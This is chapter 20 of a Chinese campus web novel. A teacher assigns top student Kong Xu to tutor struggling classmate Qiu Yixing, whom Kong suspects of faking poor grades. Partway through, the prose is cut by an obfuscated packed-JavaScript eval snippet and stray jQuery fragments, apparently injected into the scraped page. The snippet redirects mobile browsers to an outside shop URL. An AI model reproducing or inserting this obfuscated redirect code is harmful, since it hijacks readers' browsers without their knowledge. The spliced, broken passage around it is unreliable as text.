20. 第 20 章

作品:《燃烧的沸腾的

    又是周一,孔栩坐着何斯清的车,早早地来到教室,刚进门就看见柴晓驰长吁短叹,脸上愁云惨淡,手掌下面压着一沓上周考试的试卷。


    “柴老师好。”孔栩礼貌地喊了一声,走到自己座位,疑惑地看了一眼罗鸣玉,不解柴晓驰怎么这么早来。


    罗鸣玉把手掩在嘴边,偷偷看一眼柴晓驰,压低声音对孔栩说:“平均分比隔壁低两分,把老柴气得一晚上没睡着。”


    “有这么差么?”孔栩不解,“不是一般难度吗?”


    “是不难,可是——”罗鸣玉还想说什么,瞥见柴晓驰扭头,立即把头低下,装作认真预习的模样。


    柴晓驰的脸漆黑如锅底,任谁看了心肝脾肺都要抖三抖。


    直到早读课进行到一半,邱以星才姗姗进门,他抿唇低头,安静如鸡,打算贴着门缝溜进来,被门口的柴晓驰当场抓获,邱以星一路跑得头发都立了起来,忙朝柴晓驰绽放一个讨好的笑容,柴晓驰嘴角拉得平直,不问理由,不听解释:“去后面站着。”


    邱以星放下书包,很是顺从地站在教室后面。


    他看见孔栩穿着校服,腰板挺拔,后脑乌黑的发丝钻进衣领,一只手按着书页,另一只手不疾不徐地轻轻翻动一页。


    邱以星看了一会儿,在心里默默叹了口气。


    早读快结束时,柴晓驰终于憋不住,站在讲台开始大声训话。


    “马上开学就一个月了,有些同学还没进入学习状态!这次单元考试简直是一塌糊涂,全都是讲过的题!”柴晓驰越说越激动,“我就是把答题纸扔地上踩一脚,选择题都能拿上几分!”


    全班鸦雀无声,邱以星做贼心虚,不敢与柴晓驰对视。


    “更有甚者!”柴晓驰重重往讲台上一拍,唾沫横飞,“竟然有整整一面没写,简直是在挑衅我!”


    孔栩知道说的肯定不是自己,他并没有多在意,他对旁人不感兴趣,只要不是自己考砸了就成。


    柴晓驰开始一张张发试卷,叫到孔栩名字,柴晓驰这才感到了一丝安慰:“一百五,班里唯一一个满分。”


    又说:“你们倒是学学孔栩,门门功课都是高分。”


    孔栩并不意外,他上讲台去拿自己的试卷,柴晓驰读到下一个人名:“邱以星。”


    邱以星立刻站笔直。


    孔栩瞄了一眼邱以星试卷,竟然是“2”字打头,他难以置信地瞪大眼睛,使劲一眨,又瞄一眼。


    “你考试的时候睡着了?”柴晓驰怒意横生,“你故意考成这样的?是不是成心要把我气死?”


    邱以星臊眉耷眼地上台领试卷,低落地说:“老师,我不是故意的。”


    这话柴晓驰不想听,他宁愿邱以星是故意考砸,也不能相信他认认真真写出来这样一张垃圾,他看了邱以星一眼,没有再批评,对他说:“下课去办公室找我,回自己座位。”


    邱以星低头拎着试卷,内心分外沉重地坐回座位。


    闻旋一百四,罗鸣玉也有一百三十几,全班就他一个不及格,不及格就算了,竟然离及格线还那么遥远。


    邱以星心塞了一节课,下课后面如死灰地去找柴晓驰,等他走后,闻旋扭头对罗鸣玉说:“他最近是不是遇到什么刺激了?”


    罗鸣玉摇头:“这我哪知道?”


    闻旋又问孔栩:“诶,小木鱼,你这段时间不是跟他走得挺近,他什么情况?”


    孔栩:“不清楚。”


    闻旋:“真奇怪,他每晚还找我借作业看,想请教他几题,他就说不知道,我还以为他是装的……不会是真不会吧?”


    罗鸣玉很是八卦地凑过来,一双眼睛滴溜溜的:“他还每晚找你借作业?这事儿我怎么不知道,就借作业看啊?”


    闻旋一掌推开她的脸:“那还能干什么?”


    罗鸣玉“嘿嘿”笑两声:“他怎么不找别人,单单找你,是不是对你有什么想法?”


    这笑容刺到孔栩耳朵了,孔栩拿起水杯出去倒水,临走看见闻旋卷起书敲罗鸣玉的脑袋:“我看他对孔栩的想法都比对我的多,别胡说八道。”


    饮水机在办公室旁边,有不少人在排队接水,孔栩耐心等待片刻,接了一杯温水,旋上杯盖,刚要转身,柴晓驰推开办公室的门,一眼看到孔栩,便朝他招手:“你来一下。”


    孔栩不解其意,跟上去,看见邱以星低头塌肩,整个人被训得已经没了脊梁骨。


    柴晓驰对邱以星说:“你说你上课听不懂,我给你找个人辅导你。”


    孔栩意识到不妙,紧接着柴晓驰说:“孔栩,辅导他这事就交给你,你愿不愿意?”


    “我不——”


    柴晓驰飞快抿了一口红枣枸杞茶,打断他的话:“你不愿意也得愿意,别太独了,你生活在集体里,不可能不跟任何人打交道。邱以星不笨,你稍微点拨几句,我听你妈说你高中课程都学得差不多了,教学相长,帮助他人对你也有好处,不会影响你学习。”


    好话歹话都被他说完,孔栩无可奈何:“好吧。”


    柴晓驰这才放邱以星一马,眼不见为净地挥手:“你也回去吧。”


    两人并肩走在走廊,邱以星几次想开口找孔栩说话,快要教室门口,他说:“昨天我……”


    孔栩:“你有哪些不懂的,有时间按照学科整理一下,我回去会整理笔记给你看看。”


    说到笔记,孔栩顿了一下:“算了,我打印几份题给你写吧。”


    孔栩没有提昨天的事,好像这事从未发生过,邱以星把满肚子的话憋回去,从喉咙里挤出一个字:“哦。”


    看着像没事儿人,邱以星知道,与孔栩的关系一朝回到解放前,之前的努力全付诸东流。


    孔栩并不是容易接近的人,他跟柴晓驰说的一样,很“独”。


    他总是一个人练琴,一个人学习,正好这两件事都不需要他人的参与,并且他都达到了顶尖水平,助长了他“不需要他人”的想法。


    好不容易让他笑一笑,近距离听他弹钢琴,还被邀请去看他的演出……邱以星甚至觉得自己在孔栩心里与其他同学是不一样的,最起码,是有那么一点不同的。


    或许确实有所不同,邱以星想,现在的自己对孔栩来说是一个巨大的麻烦、累赘,还摆脱不了。


    孔栩却不明白邱以星心里那些弯弯绕绕,他想,一个开学摸底考能考年级前十的人,平时在学习上总跟他暗戳戳较劲的人,还偷摸着买跟他一样课外资料的人……种种迹象表明,邱以星又在装。


    搞不懂邱以星到底在想什么,这么希望得到关注?


    孔栩第一次因他人感到头痛。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016797|194219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怎么会有这么难搞的人?是老天对他总是独来独往的惩罚吗?


    有生之年他头一回想要敞开心扉,试试交一个朋友,结果这个人只是在耍他。


    演出厅从头到尾都不出现,为了看他失望的表情?想嘲弄他竟然会对他产生一丝信任?


    还有这次,装成绩差是为了让他掉以轻心?


    孔栩越想越觉得接近真相,他捏着手指,绝对不能让邱以星得逞。


    如果表现出生气或者愤怒,邱以星大概会又得意又开心地大笑吧。


    孔栩轻轻呼出一口气,拍拍邱以星的肩膀,朝邱以星露出一个罕见的能够融化冰雪的笑容:“偶尔考差一次不用那么在意,以后努力就能追上来的,加油。”


    邱以星:“……?……!”


    邱以星悚然一惊!


    什么意思?什么情况?


    他朝我笑了?


    他刚刚朝我笑了?


    他没生气?


    他竟然没生气?


    邱以星方才一脚迈进地狱,此刻却仿佛登入天堂,周身沐浴柔和的圣光,有天使围绕他,高唱“哈利路亚”。


    “谢谢……”邱以星情难自禁,手臂勾住孔栩脖子,说,“早上你什么时候来的?我在站台等你,一直没等到你。”


    “你等我了?”孔栩微微惊讶。


    “啊。”邱以星蹙眉,“我还以为你今天有什么事请假了。”


    原来如此,所以他早上迟到。


    孔栩心里泛着古怪,表情却显得非常惋惜:“我妈早上送我来的。”


    “难怪,”邱以星问,“那明天你还坐公交吗?”


    “坐。”孔栩朝他微笑,“今天只是例外。”


    邱以星很满意这个回答:“那明天我们还一起吧。”


    放学后孔栩照例去琴房练琴,邱以星趴在一边的桌上写当天的作业,孔栩在自己草稿本上列了几道基础题,便丢给邱以星,让他做去。


    邱以星哪有心思写呢?孔栩弹的都是一些高昂激烈的片段,他写着写着思绪就飘走,要么看孔栩的侧脸,要么盯着他的指尖。


    他恍恍惚惚地想,如果当初没有放弃弹琴,会不会跟孔栩弹得一样好呢?


    说不能还能跟他合奏,四手联弹什么的。


    他心不在焉的样子被孔栩的余光捕捉,孔栩按住琴键,偏脸问:“写几道了?”


    邱以星苦恼,试探性地说:“如果我说我一题都不会……”


    “那你可以去校门左转往前三百米的岚江第一小学重修数量关系。”孔栩静静地与邱以星对视,试图找出他在耍花招的证据,“总共就三道,你一题都没写?你有没有去医院做过测试?”


    “什么测试?”


    “韦氏智力量表。”孔栩单薄的嘴唇毫不留情地说,“测测你的智力是否低于70。”


    邱以星沉默了好几秒,食指不自在地在草稿本上蹭了两下:“我没做过……真的需要去吗?”


    孔栩没辙了,邱以星不按常理出牌,他好像一拳打在了棉花上。


    他将手从琴键上拿下来,拖着琴凳往邱以星身边坐下,微不可闻地叹了口气:“哪里不会?我教你。”


    关系没有破裂,反倒更进一步,完全出乎邱以星的意料。


    后来他才知道,这完全是个错觉。